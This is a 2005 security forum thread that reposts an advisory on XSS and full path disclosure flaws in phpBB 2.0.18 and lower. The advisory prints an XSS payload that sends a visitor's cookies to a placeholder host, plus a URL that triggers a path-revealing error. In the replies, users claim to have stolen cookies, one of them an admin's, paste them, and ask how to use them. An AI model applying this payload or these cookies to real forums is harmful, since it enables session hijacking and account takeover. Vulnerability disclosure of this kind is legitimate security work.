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Full disclosure |
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IT Security and Insecurity Portal |
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phpBB 2.0.18 XSS and Full Path Disclosure and lower |
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 Posted: Mon Dec 19, 2005 5:53 pm |
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| diegocure15 |
| Active user |
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| Joined: Sep 22, 2004 |
| Posts: 27 |
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Credit : Maksymilian Arciemowicz
Date : 17.12.2005
Affected Software : phpBB <= 2.0.18
Advisory Text :
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[phpBB 2.0.18 XSS and Full Path Disclosure cXIb8O3.22]
Author: Maksymilian Arciemowicz (cXIb8O3)
Date: 16.12.2005
from securityreason.com TEAM
- --- 0.Description ---
phpBB is a high powered, fully scalable, and highly customizable Open Source bulletin boar
d package. phpBB has a user-friendly interface, simple and straightforward administration
panel, and helpful FAQ. Based on the powerful PHP server language and your choice of MySQL
, MS-SQL, PostgreSQL or Access/ODBC database servers, phpBB is the ideal free community so
lution for all web sites.
Contact with author http://www.phpbb.com/about.php.
- --- 1. XSS ---
If in phpbb is Allowed HTML tags "ON" like b,i,u,pre and have you in profile "Always al
low HTML: YES" or are you Guest
that you can use this tags:
<B C=">" onmouseover="alert('SecurityReason.Com')" X="<B "> H E L O </B>
Exploit:
<B C=">" onmouseover="alert(document.location='http://HOST/cookies?'+document.cookie)
" X="<B "> H A L O </B>
and have you cookies.
- --- 2. Full Path Disclosure ---
In file admin/admin_disallow.php is
- -25-31---
if( !empty($setmodules) )
{
$filename = basename(__FILE__);
$module['Users']['Disallow'] = append_sid($filename);
return;
}
- -25-31---
function append_sid() dosen't exists. And if you have:
register_globals = On
display_errors = On
Try to go:
http://[HOST]/[DIR]/admin/admin_disallow.php?setmodules=1
- -RESULT ERROR---
Fatal error: Call to undefined function: append_sid() in /www/2018/phpBB2/admin/admin_disa
llow.php on line 28
- -RESULT ERROR---
- --- 3. Greets ---
sp3x
- --- 4.Contact ---
Author: Maksymilian Arciemowicz < cXIb8O3 >
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
securityreason.com TEAM
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2 (FreeBSD)
iD8DBQFDpDtC3Ke13X/fTO4RAosCAJkBcYRNbHKDGeuwnY1U/WXMhzDnVQCgl39D
/0u14EN2sQAh1Bwu0yvT48Q=
=lsL8
-----END PGP SIGNATURE-----
Original source http://securityreason.com/securityalert/269 |
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| Posted: Tue Dec 20, 2005 6:09 pm |
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| robin1200 |
| Regular user |
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| Joined: Sep 13, 2005 |
| Posts: 19 |
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Exploit works...only problem is that I can only see my own cookie...
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i Have sucessfully exploited |
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| Posted: Wed Dec 21, 2005 4:04 pm |
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| ctf |
| Beginner |
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| Joined: Dec 21, 2005 |
| Posts: 2 |
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i have sucessfully exploited and i have some cookies with me one of them is admins and i want to know how can it be used ?
the cookie is
phpbb2mysql_data=a:2:{s:11:\"autologinid\";s:0:\"\";s:6:\"userid\";s:2:\"16\";}; phpbb2mysql_data=a:2:{s:11:\"autologinid\";s:0:\"\";s:6:\"userid\";i:-1;}; phpbb2mysql_sid=d78d343d22d2871efec69f65854179db; phpbb2mysql_t=a:7:{i:2;i:1135074105;i:191;i:1135062519;i:33;i:1135053718;i:95;i:1135054130;i:89;i:1135062766;i:206;i:1135062837;i:247;i:1135072242;} |
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| Posted: Wed Dec 21, 2005 8:31 pm |
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| super |
| Active user |
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| Joined: Sep 19, 2005 |
| Posts: 30 |
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how do you use this exploit?? can you give me video clip about it.  |
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| Posted: Sat Dec 31, 2005 1:13 pm |
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| WaterBird |
| Active user |
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| Joined: May 16, 2005 |
| Posts: 37 |
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| Wate of time because "If in phpbb is Allowed HTML tags "ON"". I know the phpbb forums have HTML tags off after instalation, and there is not mutch forums that have html tags on. |
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